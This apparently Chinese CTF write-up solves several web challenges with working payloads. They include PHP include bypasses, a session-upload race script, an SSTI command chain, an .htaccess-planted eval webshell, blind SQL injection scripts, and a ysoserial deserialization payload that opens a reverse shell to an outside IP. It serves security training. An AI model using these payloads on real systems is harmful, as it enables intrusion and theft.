文件竞争
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}
PHP 最新版的小 Trick,require_once 包含的软链接层数较多时 once 的 hash 匹配会直接失效造成重复包含
payload:?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
php源码分析 require_once 绕过不能重复包含文件的限制 - 安全客,安全资讯平台 (anquanke.com)
也可以通过seesion文件包含
import requests
import io
import threading
url = "http://a44e2fb2-5cb3-4f96-a03f-9657dedc9a39.node4.buuoj.cn:81/"
sessionID = "flag"
data = {"cmd": "system('cat flag.php');"}
def write(session):
while True:
f = io.BytesIO(b'a'*1024*50)
resp = session.post(url=url,data={'PHP_SESSION_UPLOAD_PROGRESS':''},files={'file':('flag.txt',f)},cookies={'PHPSESSID':sessionID})
def read(session):
while True:
resp = session.post(url='http://a44e2fb2-5cb3-4f96-a03f-9657dedc9a39.node4.buuoj.cn:81/?file=/tmp/sess_flag',data=data)
if 'flag.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("=========retry==========")
if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in range(1,5):
threading.Thread(target=write, args=(session,)).start()
for i in range(1,5):
threading.Thread(target=read, args=(session,)).start()
event.set()
highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
echo $fl4g;
}else{
echo "Try harder!";
}
set_error_handler(
function() use(&$fl4g) {
print $fl4g;
}
);
$fl4g .= $dest0g3;
?> Try harder!
设置了一个错误处理函数,只需要让他报错就能输出flag,这里用数组绕过即可
payload:
ctf[]=123
hex2bin 绕过,大部分读取文件函数都过滤了,后来测试出一个head
aaa=hex2bin('73797374656d')('head /f*');
取反绕过
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
payload
aaa=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%D5);
过滤的很死所以肯定要用set构造了,较以往过滤这里多过滤了空格和点,但后来发现该题的检测方式是只对payload传入的内容进行检测,所以过滤空格话可以用%0a代替,剩下的就是随着报错随着构造了。
{%%0aset%0apo=dict(po=a,p=a)|join%}
{%%0aset%0axiahuaxian=(lipsum|string|list)|attr(po)(18)%0a%}
{%%0aset%0agb=(xiahuaxian,xiahuaxian,dict(glo=a,bals=a)|join,xiahuaxian,xiahuaxian)|join%0a%}
{%%0aset%0aget=dict(get=a)|join%}{%%0aset%0ao=dict(o=a,s=a)|join%0a%}
{%%0aset%0apo=dict(po=a,pen=a)|join%}
{%%0aset%0acat=dict(cat=a)|join%}
{%%0aset%0aid=dict(index=a)|join%}
{%%0aset%0abin=(xiahuaxian,xiahuaxian,dict(buil=a,tins=a)|join,xiahuaxian,xiahuaxian)|join%0a%}
{%%0aset%0acr=dict(ch=a,r=a)|join%}
{%%0aset%0achr=(lipsum|attr(gb))|attr(get)(bin)|attr(get)(cr)%0a%}
{%%0aset%0axiegang=chr(47)%}
{%%0aset%0ard=dict(re=a,ad=a)|join%}
{%%0aset%0aspace=chr(32)%0a%}
{%%0aset%0ashell=(cat,space,xiegang,dict(flag=a)|join)|join%0a%}
{%print(lipsum|attr(gb)|attr(get)(o)|attr(po)(shell)|attr(rd)())%}
对文件类型进行了检测,改为jpg文件后,又对文件内容进行了检测不能有,所以采用了base64结合.htaccess伪协议的方式进行绕过
1.jpg
PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+
.htaccess
SetHandler application/x-httpd-php
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.jpg
上传.htaccess时还有个mime类型检测,上传成功后蚁剑链接即可
hint黑名单:
$black_list=array('union','updatexml','order','by','substr',' ','and','extractvalue',';','sleep','join','alter','handler','char','+','/','like','regexp','offset','sleep','case','&','-','hex','%0','load');
查看源码发现是个钓鱼网站,输入什么都是没有回显的,所以就要尝试时间盲注,但过滤了sleep()
,可以用benchmark(1000000,md5(1))代替,过滤空格用%0a或者括号都可
经测试延时在2秒左右
poc
import requests
import time
url="http://fec87fc0-85b0-4969-a9d2-7328b18dc98b.node4.buuoj.cn:81/"
flag=''
for i in range(1,50):
m=32
n=127
while 1:
mid=(m+n)//2
#payload="0'or(if((ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))<{}),benchmark(2000000,md5(1)),0))or'".format(i,mid) #flaggg,user
#payload="0'or(if((ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='flaggg')),{},1))<{}),benchmark(2000000,md5(1)),0))or'".format(i,mid) #cmd
payload="0'or(if((ascii(mid((select(cmd)from(flaggg)),{},1))<{}),benchmark(2000000,md5(1)),0))or'".format(i,mid)
data={
'username': 'a',
'password': payload
}
print(data)
try:
r = requests.post(url=url,data=data,timeout=1.5)
m=mid
except:
n=mid
if(m+1==n):
flag+=chr(m)
print(flag)
break
time.sleep(0.2)
time.sleep(1)
比上题多过滤了大小于号,所以用=代替,但是等号代替后应该就不能用二分法了,所以这里逆向的逐个遍历(因为大部分字符 都ascii码都在100左右,所以从128开始应该能快一些)
timeout用的是1.8,因为benchmark有较大的误差,所以对时间的设置上比较严格,最后time.sleep
也是为了减小误差
import requests
import time
url="http://48fb7dba-6dd2-41d3-84c2-45b677f54cec.node4.buuoj.cn:81/"
flag=''
for i in range(1,50):
a=0
for j in range(128,32,-1):
#payload="0'or(if((ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j) #flaggg,user
#payload="0'or(if((ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='flaggg')),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j) #cmd
payload="0'or(if((ascii(mid((select(cmd)from(flaggg)),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j)
data={
'username': 'a',
'password': payload
}
print(data)
try:
r = requests.post(url=url,data=data,timeout=1.8)
except:
flag+=chr(j)
print(flag)
break
if(j==33):
a=1
time.sleep(0.5)
if(a==1):
print(flag)
break
time.sleep(1)
弱类型账号密码admin,打开后可以看到是个jsp写的站,就考虑到java反序列化
抓包后可以看到user处是base64加密后的序列化文件,所以猜测这里就是序列化入口
经测试CC5/CC6都能打通,https://ares-x.com/tools/runtime-exec/,进行反弹shell编码
编好后直接用ysoserial打就行,这里用的是CC5的
java -jar ysoserial-0.0.5.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuNzYuMTQvNDAwMCAwPiYx}|{base64,-d}|{bash,-i}" > 1.txt
得到字节码文件后进行下base64编码
传参成功反弹shell
也可以用脚本打
from urllib.parse import quote
import requests
import os
import base64
import time
# payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'Myfaces1', 'ROME', 'Spring1', 'Spring2']
payloads = ['CommonsCollections5']
for payload in payloads:
command = os.popen(
'java -jar ysoserial-0.0.5.jar ' + payload + ' "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuNzYuMTQvNDAwMCAwPiYx}|{base64,-d}|{bash,-i}" > ' + payload + '.txt')
command.close()
cmd = os.popen('certutil -f -encode ' + payload + '.txt ' + payload + '_encode.txt')
cmd.close()
# result = result.replace('\n','')
with open(payload + '_encode.txt', 'r') as f:
ff = f.read()
ff = ff.replace('\n', '')
ff = ff.replace('-----BEGIN CERTIFICATE-----', '')
ff = ff.replace('-----END CERTIFICATE-----', '')
print(payload + '\n')
cookies = {'JSESSIONID': '0D68982C79D25AFCC0CC7C8137C8FB1D', 'user': ff}
rep = requests.get(url="http://62bb86d0-57cf-4937-acce-b0a774be75d6.node4.buuoj.cn:81/admin/", cookies=cookies)
# time.sleep(2)
print(rep.text)